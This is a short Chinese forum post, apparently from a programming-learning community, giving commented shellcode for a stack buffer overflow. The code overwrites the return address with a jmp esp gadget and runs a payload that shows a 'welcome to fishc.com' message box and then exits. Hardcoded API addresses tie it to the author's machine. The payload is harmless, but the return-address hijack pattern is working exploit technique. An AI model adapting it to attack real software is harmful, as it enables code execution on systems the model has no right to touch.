| 
 | 
 
 
发表于 2012-8-8 22:15:12
|
显示全部楼层
 
 
 
 本帖最后由 五月跳回家 于 2012-8-9 11:24 编辑  
 
shellcode- "\x66\x69\x73\x68"//前面填充80个字节栈
 
 - "\x12\x45\xfa\x7f"//jmp esp(原eip)
 
 - "\x33\xDB\x53"//xor ebx,ebx
 
 - "\x68\x63\x6F\x6D\x21"//push    216D6F63
 
 - "\x68\x73\x68\x63\x2E"//push    2E636873
 
 - "\x68\x6F\x5F\x66\x69"//push    69665F6F
 
 - "\x68\x6D\x65\x5F\x74"//push    745F656D
 
 - "\x68\x65\x6C\x63\x6F"//push    6F636C65
 
 - "\x68\x5E\x5F\x5E\x77"//push    775E5F5E;   ascii ^_^welcome_to_fishc.com! 
 
 - "\x8B\xC4"//mov     eax, esp
 
 - "\x53"//push    ebx
 
 - "\x50"//push    eax
 
 - "\x50"//push    eax
 
 - "\x53"//push    ebx
 
 - "\xB8\x11\xEA\x34\x75"//mov eax,0x7534EA11 ;   我电脑上MessageBoxA的地址 
 
 - "\xFF\xD0"//call eax 
 
 - "\x53"//push        ebx
 
 - "\xB8\xFA\xCA\x81\x7C"//mov     eax, 7C81CAFA
 
 - "\xFF\xD0";//call eax;      exit(0)
 
  复制代码 
 |   
 
 
 
 |